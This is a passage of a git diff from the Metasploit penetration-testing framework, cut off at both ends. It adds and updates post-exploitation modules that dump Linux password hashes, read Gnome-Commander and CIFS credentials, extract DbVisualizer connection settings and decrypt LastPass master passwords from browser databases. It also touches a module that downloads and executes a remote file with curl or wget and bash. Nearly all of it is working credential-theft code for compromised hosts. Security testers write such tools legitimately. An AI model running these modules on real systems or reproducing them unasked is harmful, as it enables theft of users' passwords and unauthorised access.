meterpreter is too busted to support right now, # will come back and add support once it's more usable. - 'SessionTypes' => [ 'shell' ], + 'SessionTypes' => ['shell', 'meterpreter'], 'Actions' => [ ['CONFIGS', { 'Description' => 'Collect XCHAT\'s config files' } ], @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Post end def whoami - user = cmd_exec("whoami").chomp + user = cmd_exec("/usr/bin/whoami").chomp return user end @@ -120,7 +120,7 @@ class Metasploit3 < Msf::Post files.each do |f| vprint_status("#{@peer} - Downloading: #{base + f}") buf = read_file(base + f) - next if buf.empty? + next if buf.blank? config << { :filename => f, :data => buf @@ -139,7 +139,7 @@ class Metasploit3 < Msf::Post @peer = "#{session.session_host}:#{session.session_port}" user = whoami - if user.nil? + if user.blank? print_error("#{@peer} - Unable to get username, abort.") return end @@ -149,8 +149,8 @@ class Metasploit3 < Msf::Post configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i - save(:configs, configs) if not configs.empty? - save(:chatlogs, chatlogs) if not chatlogs.empty? + save(:configs, configs) unless configs.empty? + save(:chatlogs, chatlogs) unless chatlogs.empty? end end diff --git a/modules/post/linux/gather/gnome_commander_creds.rb b/modules/post/linux/gather/gnome_commander_creds.rb new file mode 100644 index 0000000000..ef049898e8 --- /dev/null +++ b/modules/post/linux/gather/gnome_commander_creds.rb @@ -0,0 +1,65 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class Metasploit3 < Msf::Post + + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Linux Gather Gnome-Commander Creds', + 'Description' => %q{ + This module collects the clear text passwords stored by + Gnome-commander, a GUI file explorer for GNOME. Typically, these + passwords are stored in the user's home directory, at + ~/.gnome-commander/connections. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'David Bloom' ], # Twitter: @philophobia78 + 'Platform' => %w{ linux }, + 'SessionTypes' => [ 'meterpreter', 'shell'] + )) + end + + def run + user_dirs = [] + # Search current user + user = cmd_exec("whoami").chomp + # User is root + if user == 'root' + print_status("Current user is #{user}, probing all home dirs") + user_dirs << '/root' + # Search home dirs + cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp } + else + # Non root user + print_status("Current user is #{user}, probing /home/#{user}") + user_dirs << "/home/#{user}" + end + # Try to find connections file in users homes + user_dirs.each do |dir| + # gnome-commander connections file + connections_file = "#{dir}/.gnome-commander/connections" + if file?(connections_file) + #File exists + begin + str_file=read_file(connections_file) + print_good("File found: #{connections_file}") + vprint_line(str_file) + #Store file + p = store_loot("connections", "text/plain", session, str_file, connections_file, "Gnome-Commander connections") + print_good("Connections file saved to #{p}") + rescue EOFError + # If there's nothing in the file, we hit EOFError + print_error("Nothing read from file: #{connections_file}, file may be empty") + end + else + # File not found + vprint_error("File not found: #{connections_file}") + end + end + end + +end diff --git a/modules/post/linux/gather/hashdump.rb b/modules/post/linux/gather/hashdump.rb index 7c8497bf63..eb049ae7da 100644 --- a/modules/post/linux/gather/hashdump.rb +++ b/modules/post/linux/gather/hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,11 +16,10 @@ class Metasploit3 < Msf::Post 'Name' => 'Linux Gather Dump Password Hashes for Linux Systems', 'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System}, 'License' => MSF_LICENSE, - 'Author' => [ 'Carlos Perez '], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Author' => ['Carlos Perez '], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) - end # Run Method for when run command is issued @@ -38,16 +37,27 @@ class Metasploit3 < Msf::Post # Unshadow the files john_file = unshadow(passwd_file, shadow_file) john_file.each_line do |l| + hash_parts = l.split(':') + + credential_data = { + jtr_format: 'md5,des,bsdi,crypt', + origin_type: :session, + post_reference_name: self.refname, + private_type: :nonreplayable_hash, + private_data: hash_parts[1], + session_id: session_db_id, + username: hash_parts[0], + workspace_id: myworkspace_id + } + create_credential(credential_data) print_good(l.chomp) end # Save pwd file upassf = store_loot("linux.hashes", "text/plain", session, john_file, "unshadowed_passwd.pwd", "Linux Unshadowed Password File") print_good("Unshadowed Password File: #{upassf}") - else print_error("You must run this module as root!") end - end def unshadow(pf,sf) @@ -63,6 +73,8 @@ class Metasploit3 < Msf::Post end end end - return unshadowed + + unshadowed end + end diff --git a/modules/post/linux/gather/mount_cifs_creds.rb b/modules/post/linux/gather/mount_cifs_creds.rb index d66edf1697..7378f2a109 100644 --- a/modules/post/linux/gather/mount_cifs_creds.rb +++ b/modules/post/linux/gather/mount_cifs_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,16 +11,16 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials', - 'Description' => %q{ - Post Module to obtain credentials saved for mount.cifs/mount.smbfs in - /etc/fstab on a Linux system. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Jon Hart '], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] - )) + 'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials', + 'Description' => %q{ + Post Module to obtain credentials saved for mount.cifs/mount.smbfs in + /etc/fstab on a Linux system. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Jon Hart '], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] + )) end def run diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb index 3110e6dfc4..04ef8c1a3d 100644 --- a/modules/post/linux/gather/pptpd_chap_secrets.rb +++ b/modules/post/linux/gather/pptpd_chap_secrets.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/linux/manage/download_exec.rb b/modules/post/linux/manage/download_exec.rb index c1470ed799..5e15132d46 100644 --- a/modules/post/linux/manage/download_exec.rb +++ b/modules/post/linux/manage/download_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,24 +15,23 @@ class Metasploit3 < Msf::Post super( update_info( info, 'Name' => 'Linux Manage Download and Execute', 'Description' => %q{ - This module downloads and runs a file with bash. It first tries to uses curl as - its HTTP client and then wget if it's not found. Bash found in the PATH is used to - execute the file. + This module downloads and runs a file with bash. It first tries to uses curl as + its HTTP client and then wget if it's not found. Bash found in the PATH is used + to execute the file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Joshua D. Abraham ', ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) register_options( [ OptString.new('URL', [true, 'Full URL of file to download.']) ], self.class) - end def cmd_exec_vprint(cmd) @@ -45,13 +44,19 @@ class Metasploit3 < Msf::Post end def exists_exe?(exe) - path = expand_path("$PATH") + vprint_status "Searching for #{exe} in the current $PATH..." + path = get_env("PATH") if path.nil? or path.empty? return false + vprint_error "No local $PATH set!" + else + vprint_status "$PATH is #{path.strip!}" end path.split(":").each{ |p| - return true if file_exist?(p + "/" + exe) + full_path = p + "/" + exe + vprint_status "Searching for '#{full_path}' ..." + return true if file_exist?(full_path) } return false diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 1f07bedb64..578ae8ba22 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -137,9 +137,17 @@ class Metasploit3 < Msf::Post private - def prev_error_log_path; datastore['ERROR_LOG']; end - def ctl_path; @ctl_path ||= whereis("cupsctl"); end - def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end + def prev_error_log_path + datastore['ERROR_LOG'] + end + + def ctl_path + @ctl_path ||= whereis("cupsctl") + end + + def strip_http_headers(http) + http.gsub(/\A(^.*\r\n)*/, '') + end def whereis(exe) line = cmd_exec("whereis #{exe}") diff --git a/modules/post/multi/escalate/metasploit_pcaplog.rb b/modules/post/multi/escalate/metasploit_pcaplog.rb index 6679f4377d..ab9535c6c3 100644 --- a/modules/post/multi/escalate/metasploit_pcaplog.rb +++ b/modules/post/multi/escalate/metasploit_pcaplog.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/apple_ios_backup.rb b/modules/post/multi/gather/apple_ios_backup.rb index 9691aeb2e4..31d07e1ba0 100644 --- a/modules/post/multi/gather/apple_ios_backup.rb +++ b/modules/post/multi/gather/apple_ios_backup.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Post paths = enum_users_unix when /win/ @platform = :windows - drive = session.fs.file.expand_path("%SystemDrive%") + drive = session.sys.config.getenv('SystemDrive') os = session.sys.config.sysinfo['OS'] if os =~ /Windows 7|Vista|2008/ @@ -265,7 +265,7 @@ class Metasploit3 < Msf::Post def whoami if @platform == :windows - session.fs.file.expand_path("%USERNAME%") + session.sys.config.getenv('USERNAME') else session.shell_command("whoami").chomp end diff --git a/modules/post/multi/gather/check_malware.rb b/modules/post/multi/gather/check_malware.rb index b44ce1f005..8a2104215d 100644 --- a/modules/post/multi/gather/check_malware.rb +++ b/modules/post/multi/gather/check_malware.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb new file mode 100644 index 0000000000..b44eee8ffb --- /dev/null +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -0,0 +1,290 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Multi Gather DbVisualizer Connections Settings', + 'Description' => %q{ + DbVisualizer stores the user database configuration in dbvis.xml. + This module retrieves the connections settings from this file. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'David Bloom' ], # Twitter: @philophobia78 + 'Platform' => %w{ linux win }, + 'SessionTypes' => [ 'meterpreter', 'shell'] + )) + end + + def run + + + oldversion = false + + case session.platform + when /linux/ + user = session.shell_command("whoami").chomp + print_status("Current user is #{user}") + if (user =~ /root/) + user_base = "/root/" + else + user_base = "/home/#{user}/" + end + dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml" + when /win/ + if session.type =~ /meterpreter/ + user_profile = session.sys.config.getenv('USERPROFILE') + else + user_profile = cmd_exec("echo %USERPROFILE%").strip + end + dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml" + end + + + unless file?(dbvis_file) + # File not found, we next try with the old config path + print_status("File not found: #{dbvis_file}") + print_status("This could be an older version of dbvis, trying old path") + case session.platform + when /linux/ + dbvis_file = "#{user_base}.dbvis/config/dbvis.xml" + when /win/ + dbvis_file = user_profile + "\\.dbvis\\config\\dbvis.xml" + end + unless file?(dbvis_file) + print_error("File not found: #{dbvis_file}") + return + end + oldversion = true + end + + + print_status("Reading: #{dbvis_file}") + print_line() + raw_xml = "" + begin + raw_xml = read_file(dbvis_file) + rescue EOFError + # If there's nothing in the file, we hit EOFError + print_error("Nothing read from file: #{dbvis_file}, file may be empty") + return + end + + if oldversion + # Parse old config file + db_table = parse_old_config_file(raw_xml) + else + # Parse new config file + db_table = parse_new_config_file(raw_xml) + end + + if db_table.rows.empty? + print_status("No database settings found") + else + print_line("\n") + print_line(db_table.to_s) + print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection -sql and have fun !") + print_line() + # store found databases + p = store_loot( + "dbvis.databases", + "text/csv", + session, + db_table.to_csv, + "dbvis_databases.txt", + "dbvis databases") + print_good("Databases settings stored in: #{p.to_s}") + end + + print_status("Downloading #{dbvis_file}") + p = store_loot("dbvis.xml", "text/xml", session, read_file(dbvis_file), "#{dbvis_file}", "dbvis config") + print_good "dbvis.xml saved to #{p.to_s}" + end + + + # New config file parse function + def parse_new_config_file(raw_xml) + + db_table = Rex::Ui::Text::Table.new( + 'Header' => "Dbvis Databases", + 'Indent' => 2, + 'Columns' => + [ + "Alias", + "Type", + "Server", + "Port", + "Database", + "Namespace", + "Userid", + ]) + + dbs = [] + db = {} + dbfound = false + versionFound = false + # fetch config file + raw_xml.each_line do |line| + + if versionFound == false + vesrionFound = find_version(line) + end + + if line =~ // + dbfound = false + if db[:Database].nil? + db[:Database] = ""; + end + if db[:Namespace].nil? + db[:Namespace] = ""; + end + # save + dbs << db if (db[:Alias] and db[:Type] and db[:Server] and db[:Port] ) + db = {} + end + + if dbfound == true + # get the alias + if (line =~ /([\S+\s+]+)<\/Alias>/i) + db[:Alias] = $1 + end + + # get the type + if (line =~ /([\S+\s+]+)<\/Type>/i) + db[:Type] = $1 + end + + # get the user + if (line =~ /([\S+\s+]+)<\/Userid>/i) + db[:Userid] = $1 + end + + # get the server + if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + db[:Server] = $1 + end + + # get the port + if (line =~ /([\S+]+)<\/UrlVariable>/i) + db[:Port] = $1 + end + + # get the database + if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + db[:Database] = $1 + end + + # get the Namespace + if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + db[:Namespace] = $1 + end + end + end + + # Fill the tab and report eligible servers + dbs.each do |db| + if ::Rex::Socket.is_ipv4?(db[:Server].to_s) + print_good("Reporting #{db[:Server]} ") + report_host(:host => db[:Server]); + end + + db_table << [ db[:Alias] , db[:Type] , db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid]] + end + return db_table + end + + + # New config file parse function + def parse_old_config_file(raw_xml) + + db_table = Rex::Ui::Text::Table.new( + 'Header' => "Dbvis Databases", + 'Indent' => 2, + 'Columns' => + [ + "Alias", + "Type", + "Url", + "Userid", + ]) + + dbs = [] + db = {} + dbfound = false + versionFound = false + + # fetch config file + raw_xml.each_line do |line| + + if versionFound == false + vesrionFound = find_version(line) + end + + if line =~ // + dbfound = false + # save + dbs << db if (db[:Alias] and db[:Url] ) + db = {} + end + + if dbfound == true + # get the alias + if (line =~ /([\S+\s+]+)<\/Alias>/i) + db[:Alias] = $1 + end + + # get the type + if (line =~ /([\S+\s+]+)<\/Type>/i) + db[:Type] = $1 + end + + # get the user + if (line =~ /([\S+\s+]+)<\/Userid>/i) + db[:Userid] = $1 + end + + # get the user + if (line =~ /([\S+\s+]+)<\/Url>/i) + db[:Url] = $1 + end + end + end + + # Fill the tab + dbs.each do |db| + if (db[:Url] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i) + if ::Rex::Socket.is_ipv4?($1.to_s) + print_good("Reporting #{$1}") + report_host(:host => $1.to_s) + end + end + db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid] ] + end + return db_table + end + + + def find_version(tag) + found = false + if (tag =~ /([\S+\s+]+)<\/Version>/i) + print_good("DbVisualizer version : #{$1}") + found = true + end + return found + end + +end diff --git a/modules/post/multi/gather/dns_bruteforce.rb b/modules/post/multi/gather/dns_bruteforce.rb index f9e4aa361b..3c987cc114 100644 --- a/modules/post/multi/gather/dns_bruteforce.rb +++ b/modules/post/multi/gather/dns_bruteforce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post register_options( [ - OptString.new('DOMAIN', [true, 'Domain to do a fordward lookup bruteforce against.']), + OptString.new('DOMAIN', [true, 'Domain to do a forward lookup bruteforce against.']), OptPath.new('NAMELIST',[true, "List of hostnames or subdomains to use.", ::File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")]) diff --git a/modules/post/multi/gather/dns_reverse_lookup.rb b/modules/post/multi/gather/dns_reverse_lookup.rb index 52a9d94de1..8e562b4db8 100644 --- a/modules/post/multi/gather/dns_reverse_lookup.rb +++ b/modules/post/multi/gather/dns_reverse_lookup.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/dns_srv_lookup.rb b/modules/post/multi/gather/dns_srv_lookup.rb index 7715e6cfbe..3ae16da37f 100644 --- a/modules/post/multi/gather/dns_srv_lookup.rb +++ b/modules/post/multi/gather/dns_srv_lookup.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/enum_vbox.rb b/modules/post/multi/gather/enum_vbox.rb index 99ae3a145f..d5a4b2591f 100644 --- a/modules/post/multi/gather/enum_vbox.rb +++ b/modules/post/multi/gather/enum_vbox.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/env.rb b/modules/post/multi/gather/env.rb index 0e138c3680..c4042f6ea8 100644 --- a/modules/post/multi/gather/env.rb +++ b/modules/post/multi/gather/env.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -54,9 +54,8 @@ class Metasploit3 < Msf::Post var_names << registry_enumvals("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment") output = [] var_names.delete(nil) - var_names.flatten.uniq.sort.each do |v| - # Emulate the output of set and env, e.g. VAR=VALUE - output << "#{v}=#{session.fs.file.expand_path("\%#{v}\%")}" + session.sys.config.getenvs(*var_names.flatten.uniq.sort).each do |k, v| + output << "#{k}=#{v}" end @output = output.join("\n") @ltype = "windows.environment" diff --git a/modules/post/multi/gather/fetchmailrc_creds.rb b/modules/post/multi/gather/fetchmailrc_creds.rb index 4691adc616..9b9de9aff2 100644 --- a/modules/post/multi/gather/fetchmailrc_creds.rb +++ b/modules/post/multi/gather/fetchmailrc_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/filezilla_client_cred.rb b/modules/post/multi/gather/filezilla_client_cred.rb index 85f85f7e17..c49d05748a 100644 --- a/modules/post/multi/gather/filezilla_client_cred.rb +++ b/modules/post/multi/gather/filezilla_client_cred.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -240,7 +240,7 @@ class Metasploit3 < Msf::Post def whoami if @platform == :windows - session.fs.file.expand_path("%USERNAME%") + session.sys.config.getenv('USERNAME') else session.shell_command("whoami").chomp end diff --git a/modules/post/multi/gather/find_vmx.rb b/modules/post/multi/gather/find_vmx.rb index 4d38b48363..eb16f3e85b 100644 --- a/modules/post/multi/gather/find_vmx.rb +++ b/modules/post/multi/gather/find_vmx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 1c7fd888e7..16554e894c 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -1,12 +1,26 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## +# +# Standard Library +# + +require 'tmpdir' + +# +# Gems +# + +require 'zip' + +# +# Project +# + require 'msf/core' require 'rex' -require 'zip/zip' -require 'tmpdir' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post @@ -104,10 +118,10 @@ class Metasploit3 < Msf::Post begin # automatically commits the changes made to the zip archive when # the block terminates - Zip::ZipFile.open(tmp) do |zip_file| + Zip::File.open(tmp) do |zip_file| res = modify_omnija(zip_file) end - rescue Zip::ZipError => e + rescue Zip::Error => e print_error("Error modifying #{new_file}") return end @@ -277,7 +291,6 @@ class Metasploit3 < Msf::Post def get_ff_and_loot_path @paths = {} check_paths = [] - drive = expand_path("%SystemDrive%") loot_file = Rex::Text::rand_text_alpha(6) + ".txt" case @platform @@ -286,7 +299,9 @@ class Metasploit3 < Msf::Post print_error("You need root privileges on this platform for DECRYPT option") return false end - tmpdir = expand_path("%TEMP%") + "\\" + env_vars = session.sys.config.getenvs('TEMP', 'SystemDrive') + tmpdir = env_vars['TEMP'] + "\\" + drive = env_vars['SystemDrive'] # this way allows for more independent use of meterpreter # payload (32 and 64 bit) and cleaner code check_paths << drive + '\\Program Files\\Mozilla Firefox\\' @@ -643,9 +658,9 @@ class Metasploit3 < Msf::Post def whoami if @platform == :windows - return session.fs.file.expand_path("%USERNAME%") + session.sys.config.getenv('USERNAME') else - return session.shell_command("whoami").chomp + session.shell_command("whoami").chomp end end end diff --git a/modules/post/multi/gather/gpg_creds.rb b/modules/post/multi/gather/gpg_creds.rb index a3a5a4720c..6c296d9118 100644 --- a/modules/post/multi/gather/gpg_creds.rb +++ b/modules/post/multi/gather/gpg_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb new file mode 100644 index 0000000000..64e87043fe --- /dev/null +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -0,0 +1,313 @@ +require 'msf/core' +require 'base64' +require 'sqlite3' +require 'uri' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Windows::UserProfiles + include Msf::Post::OSX::System + include Msf::Post::Unix + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'LastPass Master Password Extractor', + 'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords', + 'License' => MSF_LICENSE, + 'Author' => [ + 'Alberto Garcia Illera ', # original module and research + 'Martin Vigo ', # original module and research + 'Jon Hart %w(linux osx unix win), + 'References' => [['URL', 'http://www.martinvigo.com/a-look-into-lastpass/']], + 'SessionTypes' => %w(meterpreter shell) + ) + ) + end + + def run + if session.platform =~ /win/ && session.type == "shell" # No Windows shell support + print_error "Shell sessions on Windows are not supported" + return + end + + print_status "Searching for LastPass databases" + + account_map = build_account_map + if account_map.empty? + print_status "No databases found" + return + end + + print_status "Extracting credentials from #{account_map.size} LastPass databases" + + # an array of [user, encrypted password, browser] + credentials = [] # All credentials to be decrypted + account_map.each_pair do |account, browser_map| + browser_map.each_pair do |browser, paths| + if browser == 'Firefox' + paths.each do |path| + data = read_file(path) + loot_path = store_loot( + 'firefox.preferences', + 'text/javascript', + session, + data, + nil, + "Firefox preferences file #{path}" + ) + + # Extract usernames and passwords from preference file + firefox_credentials(loot_path).each do |creds| + credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])] + end + end + else # Chrome, Safari and Opera + paths.each do |path| + data = read_file(path) + loot_path = store_loot( + "#{browser.downcase}.lastpass.database", + 'application/x-sqlite3', + session, + data, + nil, + "#{account}'s #{browser} LastPass database #{path}" + ) + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + lastpass_user, lastpass_pass = db.execute( + "SELECT username, password FROM LastPassSavedLogins2 " \ + "WHERE username IS NOT NULL AND username != '' " \ + "AND password IS NOT NULL AND password != '';" + ).flatten + if lastpass_user && lastpass_pass + credentials << [account, browser, lastpass_user, lastpass_pass] + end + end + end + end + end + + credentials_table = Rex::Ui::Text::Table.new( + 'Header' => "LastPass credentials", + 'Indent' => 1, + 'Columns' => %w(Account Browser LastPass_Username LastPass_Password) + ) + # Parse and decrypt credentials + credentials.each do |row| # Decrypt passwords + account, browser, user, enc_pass = row + vprint_status "Decrypting password for #{account}'s #{user} from #{browser}" + password = clear_text_password(user, enc_pass) + credentials_table << [account, browser, user, password] + end + unless credentials.empty? + print_good credentials_table.to_s + path = store_loot( + "lastpass.creds", + "text/csv", + session, + credentials_table.to_csv, + nil, + "Decrypted LastPass Master Passwords" + ) + end + end + + # Returns a mapping of { Account => { Browser => paths } } + def build_account_map + platform = session.platform + profiles = user_profiles + found_dbs_map = {} + + if datastore['VERBOSE'] + vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}" + else + print_status "Found #{profiles.size} users" + end + + profiles.each do |user_profile| + account = user_profile['UserName'] + browser_path_map = {} + + case platform + when /win/ + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", + 'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", + 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", + 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + } + when /unix|linux/ + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", + 'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox" + } + when /osx/ + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", + 'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles", + 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", + 'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + } + else + print_error "Platform not recognized: #{platform}" + end + + found_dbs_map[account] = {} + browser_path_map.each_pair do |browser, path| + db_paths = find_db_paths(path, browser, account) + found_dbs_map[account][browser] = db_paths unless db_paths.empty? + end + end + + found_dbs_map + end + + # Returns a list of DB paths found in the victims' machine + def find_db_paths(path, browser, account) + paths = [] + + vprint_status "Checking #{account}'s #{browser}" + if browser == "Firefox" # Special case for Firefox + profiles = firefox_profile_files(path, browser) + paths |= profiles + else + paths |= file_paths(path, browser, account) + end + + vprint_good "Found #{paths.size} #{browser} databases for #{account}" + paths + end + + # Returns the relevant information from user profiles + def user_profiles + user_profiles = [] + case session.platform + when /unix|linux/ + if session.type == "meterpreter" + user_names = client.fs.dir.entries("/home") + else + user_names = session.shell_command("ls /home").split + end + user_names.reject! { |u| %w(. ..).include?(u) } + user_names.each do |user_name| + user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}") + end + when /osx/ + user_names = session.shell_command("ls /Users").split + user_names.reject! { |u| u == 'Shared' } + user_names.each do |user_name| + user_profiles.push( + 'UserName' => user_name, + "AppData" => "/Users/#{user_name}/Library", + "LocalAppData" => "/Users/#{user_name}/Library/Application Support" + ) + end + when /win/ + user_profiles |= grab_user_profiles + else + print_error "OS not recognized: #{os}" + end + user_profiles + end + + # Extracts the databases paths from the given folder ignoring . and .. + def file_paths(path, browser, account) + found_dbs_paths = [] + + files = [] + if directory?(path) + sep = session.platform =~ /win/ ? '\\' : '/' + if session.type == "meterpreter" + files = client.fs.dir.entries(path) + elsif session.type == "shell" + files = session.shell_command("ls \"#{path}\"").split + else + print_error "Session type not recognized: #{session.type}" + return found_dbs_paths + end + end + + files.each do |file_path| + unless %w(. .. Shared).include?(file_path) + found_dbs_paths.push([path, file_path].join(sep)) + end + end + + found_dbs_paths + end + + # Returns the profile files for Firefox + def firefox_profile_files(path, browser) + found_dbs_paths = [] + + if directory?(path) + sep = session.platform =~ /win/ ? '\\' : '/' + if session.type == "meterpreter" + files = client.fs.dir.entries(path) + elsif session.type == "shell" + files = session.shell_command("ls \"#{path}\"").split + else + print_error "Session type not recognized: #{session.type}" + return found_dbs_paths + end + + files.reject! { |file| %w(. ..).include?(file) } + files.each do |file_path| + found_dbs_paths.push([path, file_path, 'prefs.js'].join(sep)) if file_path.match(/.*\.default/) + end + end + + found_dbs_paths + end + + # Parses the Firefox preferences file and returns encoded credentials + def 